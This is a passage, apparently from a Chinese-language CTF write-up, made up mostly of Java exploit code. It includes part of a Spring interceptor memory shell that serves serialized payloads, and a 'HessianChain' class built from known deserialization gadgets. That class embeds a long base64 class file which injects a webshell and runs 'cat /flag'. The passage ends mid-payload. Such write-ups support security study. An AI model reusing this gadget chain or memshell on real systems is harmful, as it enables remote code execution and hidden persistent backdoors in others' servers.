AAABJAAAABAAAAAGxAAAAAgBGAAAABgABAAAAdQBHAAAAKgAEAAAAAQBIAEkAAAAAAAEAdwB4AAEAAAABAH0AfgACAAAAAQBdAH8AAwBrAAAABAABAHsAVQAAAA0DAHcAAAB9AAAAXQAAAAgAgABEAAEARQAAAXEAAwAFAAAAbgSzACeyABESKrYAErgAKxIsA7kALQMAwAAuSyoSL7kAMAIAwAAvTAFNEjESMrYAM02nAAhOLbYANSwEtgA2AU4sK7YAN8AAOE6nAAo6BBkEtgA6uwA7WbcAPDoELRkEuQA9AgBXsgAREj62ABKxAAIAKQAxADQANABAAEkATAA5AAQARgAAAE4AEwAAABsABAAdAAwAHgAbAB8AJwAgACkAIgAxACUANAAjADUAJAA5ACYAPgAnAEAAKQBJACwATAAqAE4AKwBTAC0AXAAuAGUALwBtADAARwAAAEgABwA1AAQAgQCCAAMATgAFAIEAgwAEABsAUgCEAIUAAAAnAEYAhgCHAAEAKQBEAIgAiQACAEAALQCKAIsAAwBcABEAjABJAAQAjQAAAAwAAQBAAC0AigCOAAMAUwAAAC0ABP8ANAADBwCPBwCQBwCRAAEHAJIE/wASAAQHAI8HAJAHAJEHAJMAAQcAlAYAAgCVAAAAAgCWAQ0AAAAKAAEAtgCyAQwACXB0AAhCb29naXBvcHB3AQB4eA==\"}";

}else {
code = "{\"code\":\"200\",\"message\":\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABdAApb3JnLmpib3NzLnByb3h5LmVqYi5oYW5kbGUuSG9tZUhhbmRsZUltcGx4\"}";;

}
if (request.getRequestURI().equals("/blacklist/jdk/get")) {
String result = new Scanner(code).useDelimiter("\\A").next();
response.addHeader("Content-Type","application/json;charset=UTF-8");
response.getWriter().write(result);
response.getWriter().flush();
response.getWriter().close();
nums++;
return false;
}

return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}

}

用IDEA编译整个项目,可以获得.class文件,如果直接javac会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.utils.FastStringBuffer;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import org.apache.naming.ResourceRef;
import org.springframework.expression.spel.support.ReflectionHelper;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.management.BadAttributeValueExpException;
import javax.naming.CannotProceedException;
import javax.naming.CompositeName;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class HessianChain {
public static void main(String[] args) throws Exception {
String x = "var str='yv66vgAAADQA8goANQB6CQB7AHwJADEAfQoAfgB/CgCAAIEIAIIKAIAAgwoAhACFBwCGCgAJAIcIAIgKAAkAiQoACQCKCgAJAIsIAIwLAI0AjgoAfgCPCACQCACRCACSCgCTAJQKAAkAlQgAlggAlwsAmACZCwCYAJoKAJsAnAoAmwCdCgCbAJ4LADYAnwsANgCgCAChCgCiAKMIAKQLAKUApgcApwcAqAsAJACpBwCqCACrCgCsAK0HAK4KACoArwoAsACxCgCwALIHALMHALQKAC8ArwcAtQoAMQB6CwAuALYIALcHALgHALkBAARudW1zAQABSQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTG9yZy9leGFtcGxlL01lbXNoZWxsMTsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAEY29kZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEADVN0YWNrTWFwVGFibGUHALoHAIYHALsHALUHALwHAL0HALgBAApFeGNlcHRpb25zBwC+AQAQTWV0aG9kUGFyYW1ldGVycwEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEADG1vZGVsQW5kVmlldwEALkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzsBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAEWFkYXB0SW50ZXJjZXB0b3JzAQAQTGphdmEvdXRpbC9MaXN0OwEAD2V2aWxJbnRlcmNlcHRvcgEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwCnBwCoBwC/BwCuBwCzBwC0AQAKU291cmNlRmlsZQEADk1lbXNoZWxsMS5qYXZhDAA5ADoHAMAMAMEAwgwANwA4BwDDDADEAMUHAMYMAMcAyAEACWNhdCAvZmxhZwwAyQDKBwDLDADMAM0BABFqYXZhL3V0aWwvU2Nhbm5lcgwAOQDOAQACXEEMAM8A0AwA0QDSDADTANQBAAAHALwMANUA1AwAxADWASl7eyJjb2RlIjoiMjAwIiwibWVzc2FnZSI6InJPMEFCWE55QUM1cVlYWmhlQzV0WVc1aFoyVnRaVzUwTGtKaFpFRjBkSEpwWW5WMFpWWmhiSFZsUlhod1JYaGpaWEIwYVc5dTFPZmFxMk10UmtBQ0FBRk1BQU4yWVd4MEFCSk1hbUYyWVM5c1lXNW5MMDlpYW1WamREdDRjZ0FUYW1GMllTNXNZVzVuTGtWNFkyVndkR2x2YnREOUh6NGFPeHpFQWdBQWVISUFFMnBoZG1FdWJHRnVaeTVVYUhKdmQyRmliR1hWeGpVbk9YZTR5d01BQkV3QUJXTmhkWE5sZEFBVlRHcGhkbUV2YkdGdVp5OVVhSEp2ZDJGaWJHVTdUQUFOWkdWMFlXbHNUV1Z6YzJGblpYUUFFa3hxWVhaaEwyeGhibWN2VTNSeWFXNW5PMXNBQ25OMFlXTnJWSEpoWTJWMEFCNWJUR3BoZG1FdmJHRnVaeTlUZEdGamExUnlZV05sUld4bGJXVnVkRHRNQUJSemRYQndjbVZ6YzJWa1JYaGpaWEIwYVc5dWMzUUFFRXhxWVhaaEwzVjBhV3d2VEdsemREdDRjSEVBZmdBSWNIVnlBQjViVEdwaGRtRXViR0Z1Wnk1VGRHRmphMVJ5WVdObFJXeGxiV1Z1ZERzQ1JpbzhQUDBpT1FJQUFIaHdBQUFBQVhOeUFCdHFZWFpoTG14aGJtY3VVM1JoWTJ0VWNtRmpaVVZzWlcxbGJuUmhDY1dhSmpiZGhRSUFCRWtBQ214cGJtVk9kVzFpWlhKTUFBNWtaV05zWVhKcGJtZERiR0Z6YzNFQWZnQUZUQUFJWm1sc1pVNWhiV1Z4QUg0QUJVd0FDbTFsZEdodlpFNWhiV1Z4QUg0QUJYaHdBQUFBSDNRQUhtOXlaeTVsZUdGdGNHeGxMa3B6YjI1VVpXMXdiR0YwWlhORGFHRnBiblFBRjBwemIyNVVaVzF3YkdGMFpYTkRhR0ZwYmk1cVlYWmhkQUFFYldGcGJuTnlBQ1pxWVhaaExuVjBhV3d1UTI5c2JHVmpkR2x2Ym5Na1ZXNXRiMlJwWm1saFlteGxUR2x6ZFB3UEpURzE3STRRQWdBQlRBQUViR2x6ZEhFQWZnQUhlSElBTEdwaGRtRXVkWFJwYkM1RGIyeHNaV04wYVc5dWN5UlZibTF2WkdsbWFXRmliR1ZEYjJ4c1pXTjBhVzl1R1VJQWdNdGU5eDRDQUFGTUFBRmpkQUFXVEdwaGRtRXZkWFJwYkM5RGIyeHNaV04wYVc5dU8zaHdjM0lBRTJwaGRtRXVkWFJwYkM1QmNuSmhlVXhwYzNSNGdkSWRtY2RoblFNQUFVa0FCSE5wZW1WNGNBQUFBQUIzQkFBQUFBQjRjUUIrQUJWNGMzSUFIMk52YlM1aGJHbGlZV0poTG1aaGMzUnFjMjl1TGtwVFQwNVBZbXBsWTNRQUFBQUFBQUFBQVFJQUFVd0FBMjFoY0hRQUQweHFZWFpoTDNWMGFXd3ZUV0Z3TzNod2MzSUFFV3BoZG1FdWRYUnBiQzVJWVhOb1RXRndCUWZhd2NNV1lORURBQUpHQUFwc2IyRmtSbUZqZEc5eVNRQUpkR2h5WlhOb2IyeGtlSEEvUUFBQUFBQUFESGNJQUFBQUVBQUFBQUYwQUFFeGMzSUFPbU52YlM1emRXNHViM0puTG1Gd1lXTm9aUzU0WVd4aGJpNXBiblJsY201aGJDNTRjMngwWXk1MGNtRjRMbFJsYlhCc1lYUmxjMGx0Y0d3SlYwL0JicXlyTXdNQUJra0FEVjlwYm1SbGJuUk9kVzFpWlhKSkFBNWZkSEpoYm5Oc1pYUkpibVJsZUZzQUNsOWllWFJsWTI5a1pYTjBBQU5iVzBKYkFBWmZZMnhoYzNOMEFCSmJUR3BoZG1FdmJHRnVaeTlEYkdGemN6dE1BQVZmYm1GdFpYRUFmZ0FGVEFBUlgyOTFkSEIxZEZCeWIzQmxjblJwWlhOMEFCWk1hbUYyWVM5MWRHbHNMMUJ5YjNCbGNuUnBaWE03ZUhBQUFBQUEvLy8vLzNWeUFBTmJXMEpML1JrVloyZmJOd0lBQUhod0FBQUFBWFZ5QUFKYlFxenpGL2dHQ0ZUZ0FnQUFlSEFBQUJwSHl2NjZ2Z0FBQURRQk1Rb0FQd0NYQ0FDWUNBQ1pDZ0NhQUpzS0FKb0FuQW9BblFDZUNnQ2ZBS0FJQUtFS0FKOEFvZ29Bb3dDa0J3Q2xDZ0FMQUtZSUFLY0tBQXNBcUFvQUN3Q3BDZ0FMQUtvSkFLc0FyQW9BclFDdUJ3Q3ZDZ0FUQUpjSUFMQUtBQk1Bc1FvQXNnQ3pDZ0MwQUxVS0FMWUF0d2dBdUFvQUV3QzVDd0M2QUxzSUFMd0tBTFFBdlFvQUN3QytDQUMvQ0FEQUN3REJBTUlMQU1FQXd3b0F4QURGQ2dERUFNWUtBTVFBeHdrQU93RElDd0JBQU1rTEFFQUF5Z2dBeXdvQXpBRE5DQURPQ3dEUEFOQUhBTkVIQU5JTEFDNEEwd2NBMUFnQTFRb0ExZ0RYQndEWUNnQTBBTmtLQU5vQTJ3b0EyZ0RjQndEZEJ3RGVDZ0E1QU5rSEFOOEtBRHNBbHdzQU9BRGdDQURoQndEaUJ3RGpBUUFFYm5WdGN3RUFBVWtCQUFZOGFXNXBkRDRCQUFNb0tWWUJBQVJEYjJSbEFRQVBUR2x1WlU1MWJXSmxjbFJoWW14bEFRQVNURzlqWVd4V1lYSnBZV0pzWlZSaFlteGxBUUFFZEdocGN3RUFGMHh2Y21jdlpYaGhiWEJzWlM5TlpXMXphR1ZzYkRJN0FRQU1jbVZ3YkdGalpVSnNZVzVyQVFBbUtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQUZ3QVFBWlRHcGhkbUV2ZFhScGJDOXlaV2RsZUM5UVlYUjBaWEp1T3dFQUFXMEJBQmxNYW1GMllTOTFkR2xzTDNKbFoyVjRMMDFoZEdOb1pYSTdBUUFEYzNSeUFRQVNUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFFWkdWemRBRUFEVk4wWVdOclRXRndWR0ZpYkdVSEFPUUJBQkJOWlhSb2IyUlFZWEpoYldWMFpYSnpBUUFKY0hKbFNHRnVaR3hsQVFCa0tFeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPMHhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlR0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzcFdnRUFCbkpsYzNWc2RBRUFCM0psY1hWbGMzUUJBQ2RNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZERzQkFBaHlaWE53YjI1elpRRUFLRXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlRzQkFBZG9ZVzVrYkdWeUFRQVNUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFFWTI5a1pRRUFBbWx1QVFBVlRHcGhkbUV2YVc4dlNXNXdkWFJUZEhKbFlXMDdBUUFCY3dFQUUweHFZWFpoTDNWMGFXd3ZVMk5oYm01bGNqc0JBQVp2ZFhSd2RYUUhBT1VIQUtVSEFOOEhBT1lIQU9jSEFPZ0JBQXBGZUdObGNIUnBiMjV6QndEcEFRQUtjRzl6ZEVoaGJtUnNaUUVBa2loTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ4ZFdWemREdE1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlU3VEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3VEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZUVzlrWld4QmJtUldhV1YzT3lsV0FRQU1iVzlrWld4QmJtUldhV1YzQVFBdVRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2VFc5a1pXeEJibVJXYVdWM093RUFEMkZtZEdWeVEyOXRjR3hsZEdsdmJnRUFlU2hNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZER0TWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ6Y0c5dWMyVTdUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdUR3BoZG1FdmJHRnVaeTlGZUdObGNIUnBiMjQ3S1ZZQkFBSmxlQUVBRlV4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU93RUFDWFJ5WVc1elptOXliUUVBY2loTVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaGhiR0Z1TDJsdWRHVnlibUZzTDNoemJIUmpMMFJQVFR0YlRHTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRiV3d2YVc1MFpYSnVZV3d2YzJWeWFXRnNhWHBsY2k5VFpYSnBZV3hwZW1GMGFXOXVTR0Z1Wkd4bGNqc3BWZ0VBQ0dSdlkzVnRaVzUwQVFBdFRHTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRZV3hoYmk5cGJuUmxjbTVoYkM5NGMyeDBZeTlFVDAwN0FRQUlhR0Z1Wkd4bGNuTUJBRUpiVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZjMlZ5YVdGc2FYcGxjaTlUWlhKcFlXeHBlbUYwYVc5dVNHRnVaR3hsY2pzSEFPb0JBS1lvVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OUVUMDA3VEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZaSFJ0TDBSVVRVRjRhWE5KZEdWeVlYUnZjanRNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOXpaWEpwWVd4cGVtVnlMMU5sY21saGJHbDZZWFJwYjI1SVlXNWtiR1Z5T3lsV0FRQUlhWFJsY21GMGIzSUJBRFZNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOWtkRzB2UkZSTlFYaHBjMGwwWlhKaGRHOXlPd0VBUVV4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHMXNMMmx1ZEdWeWJtRnNMM05sY21saGJHbDZaWEl2VTJWeWFXRnNhWHBoZEdsdmJraGhibVJzWlhJN0FRQUlQR05zYVc1cGRENEJBQUZsQVFBZ1RHcGhkbUV2YkdGdVp5OU9iMU4xWTJoR2FXVnNaRVY0WTJWd2RHbHZianNCQUNKTWFtRjJZUzlzWVc1bkwwbHNiR1ZuWVd4QlkyTmxjM05GZUdObGNIUnBiMjQ3QVFBSFkyOXVkR1Y0ZEFFQU4weHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDFkbFlrRndjR3hwWTJGMGFXOXVRMjl1ZEdWNGREc0JBQlZ0WVhCd2FXNW5TR0Z1Wkd4bGNrMWhjSEJwYm1jQkFGUk1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5dGRtTXZiV1YwYUc5a0wyRnVibTkwWVhScGIyNHZVbVZ4ZFdWemRFMWhjSEJwYm1kSVlXNWtiR1Z5VFdGd2NHbHVaenNCQUFWbWFXVnNaQUVBR1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaRHNCQUJGaFpHRndkRWx1ZEdWeVkyVndkRzl5Y3dFQUVFeHFZWFpoTDNWMGFXd3ZUR2x6ZERzQkFBOWxkbWxzU1c1MFpYSmpaWEIwYjNJQkFCWk1iMk5oYkZaaGNtbGhZbXhsVkhsd1pWUmhZbXhsQVFCR1RHcGhkbUV2ZFhScGJDOU1hWE4wUEV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMGhoYm1Sc1pYSkpiblJsY21ObGNIUnZjanMrT3djQTBRY0EwZ2NBNndjQTJBY0EzUWNBM2dFQUNsTnZkWEpqWlVacGJHVUJBQTVOWlcxemFHVnNiREl1YW1GMllRd0FRd0JFQVFBQUFRQUpYSE1xZkFsOERYd0tCd0RzREFEdEFPNE1BTzhBOEFjQThRd0E4Z0JMQndEekRBRDBBUFVCQUFsallYUWdMMlpzWVdjTUFQWUE5d2NBK0F3QStRRDZBUUFSYW1GMllTOTFkR2xzTDFOallXNXVaWElNQUVNQSt3RUFBbHhCREFEOEFQME1BUDRBL3d3QkFBRUJCd0VDREFFREFRUUhBUVVNQVFZQkJ3RUFGMnBoZG1FdmJHRnVaeTlUZEhKcGJtZENkV2xzWkdWeUFRQVpleUpqYjJSbElqb2lNakF3SWl3aWJXVnpjMkZuWlNJNklnd0JDQUVKQndFS0RBRUxBUTRIQU9RTUFROEJFQWNCRVF3QkVnRVRBUUFDSW4wTUFSUUJBUWNBNWd3QkZRRUJBUUFITDNOMFlYUjFjd3dCRmdFWERBQkRBUWNCQUF4RGIyNTBaVzUwTFZSNWNHVUJBQjVoY0hCc2FXTmhkR2x2Ymk5cWMyOXVPMk5vWVhKelpYUTlWVlJHTFRnSEFPY01BUmdCR1F3QkdnRWJCd0VjREFFZEFRY01BUjRBUkF3Qkh3QkVEQUJCQUVJTUFHMEFiZ3dBY1FCeUFRQUdjM1JoWVhKMEJ3RWdEQUVoQVNJQkFEbHZjbWN1YzNCeWFXNW5abkpoYldWM2IzSnJMbmRsWWk1elpYSjJiR1YwTGtScGMzQmhkR05vWlhKVFpYSjJiR1YwTGtOUFRsUkZXRlFIQVNNTUFTUUJKUUVBTlc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMMk52Ym5SbGVIUXZWMlZpUVhCd2JHbGpZWFJwYjI1RGIyNTBaWGgwQVFCU2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzl0ZG1NdmJXVjBhRzlrTDJGdWJtOTBZWFJwYjI0dlVtVnhkV1Z6ZEUxaGNIQnBibWRJWVc1a2JHVnlUV0Z3Y0dsdVp3d0JKZ0VuQVFBK2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlvWVc1a2JHVnlMMEZpYzNSeVlXTjBTR0Z1Wkd4bGNrMWhjSEJwYm1jQkFCTmhaR0Z3ZEdWa1NXNTBaWEpqWlhCMGIzSnpCd0VvREFFcEFTb0JBQjVxWVhaaEwyeGhibWN2VG05VGRXTm9SbWxsYkdSRmVHTmxjSFJwYjI0TUFTc0FSQWNBNnd3QkxBRXREQUV1QVM4QkFBNXFZWFpoTDNWMGFXd3ZUR2x6ZEFFQUlHcGhkbUV2YkdGdVp5OUpiR3hsWjJGc1FXTmpaWE56UlhoalpYQjBhVzl1QVFBVmIzSm5MMlY0WVcxd2JHVXZUV1Z0YzJobGJHd3lEQUV3QVJjQkFBSnZhd0VBUUdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OXlkVzUwYVcxbEwwRmljM1J5WVdOMFZISmhibk5zWlhRQkFESnZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDBoaGJtUnNaWEpKYm5SbGNtTmxjSFJ2Y2dFQUVHcGhkbUV2YkdGdVp5OVRkSEpwYm1jQkFCTnFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQUptcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxBUUFRYW1GMllTOXNZVzVuTDA5aWFtVmpkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFEbGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlR0ZzWVc0dmFXNTBaWEp1WVd3dmVITnNkR012VkhKaGJuTnNaWFJGZUdObGNIUnBiMjRCQUJkcVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaQUVBRjJwaGRtRXZkWFJwYkM5eVpXZGxlQzlRWVhSMFpYSnVBUUFIWTI5dGNHbHNaUUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2ZFhScGJDOXlaV2RsZUM5UVlYUjBaWEp1T3dFQUIyMWhkR05vWlhJQkFETW9UR3BoZG1FdmJHRnVaeTlEYUdGeVUyVnhkV1Z1WTJVN0tVeHFZWFpoTDNWMGFXd3ZjbVZuWlhndlRXRjBZMmhsY2pzQkFCZHFZWFpoTDNWMGFXd3ZjbVZuWlhndlRXRjBZMmhsY2dFQUNuSmxjR3hoWTJWQmJHd0JBQkZxWVhaaEwyeGhibWN2VW5WdWRHbHRaUUVBQ21kbGRGSjFiblJwYldVQkFCVW9LVXhxWVhaaEwyeGhibWN2VW5WdWRHbHRaVHNCQUFSbGVHVmpBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwxQnliMk5sYzNNN0FRQVJhbUYyWVM5c1lXNW5MMUJ5YjJObGMzTUJBQTVuWlhSSmJuQjFkRk4wY21WaGJRRUFGeWdwVEdwaGRtRXZhVzh2U1c1d2RYUlRkSEpsWVcwN0FRQVlLRXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0T3lsV0FRQU1kWE5sUkdWc2FXMXBkR1Z5QVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5MWRHbHNMMU5qWVc1dVpYSTdBUUFIYUdGelRtVjRkQUVBQXlncFdnRUFCRzVsZUhRQkFCUW9LVXhxWVhaaEwyeGhibWN2VTNSeWFXNW5Pd0VBRUdwaGRtRXZiR0Z1Wnk5VGVYTjBaVzBCQUFOdmRYUUJBQlZNYW1GMllTOXBieTlRY21sdWRGTjBjbVZoYlRzQkFCTnFZWFpoTDJsdkwxQnlhVzUwVTNSeVpXRnRBUUFIY0hKcGJuUnNiZ0VBRlNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFZnRUFCbUZ3Y0dWdVpBRUFMU2hNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWRDZFdsc1pHVnlPd0VBRUdwaGRtRXZkWFJwYkM5Q1lYTmxOalFCQUFwblpYUkZibU52WkdWeUFRQUhSVzVqYjJSbGNnRUFERWx1Ym1WeVEyeGhjM05sY3dFQUhDZ3BUR3BoZG1FdmRYUnBiQzlDWVhObE5qUWtSVzVqYjJSbGNqc0JBQWhuWlhSQ2VYUmxjd0VBQkNncFcwSUJBQmhxWVhaaEwzVjBhV3d2UW1GelpUWTBKRVZ1WTI5a1pYSUJBQTVsYm1OdlpHVlViMU4wY21sdVp3RUFGaWhiUWlsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaDBiMU4wY21sdVp3RUFEV2RsZEZKbGNYVmxjM1JWVWtrQkFBWmxjWFZoYkhNQkFCVW9UR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVm9CQUFsaFpHUklaV0ZrWlhJQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVllCQUFsblpYUlhjbWwwWlhJQkFCY29LVXhxWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5T3dFQUUycGhkbUV2YVc4dlVISnBiblJYY21sMFpYSUJBQVYzY21sMFpRRUFCV1pzZFhOb0FRQUZZMnh2YzJVQkFEeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDNKbGNYVmxjM1F2VW1WeGRXVnpkRU52Ym5SbGVIUkliMnhrWlhJQkFCaGpkWEp5Wlc1MFVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNQkFEMG9LVXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOWpiMjUwW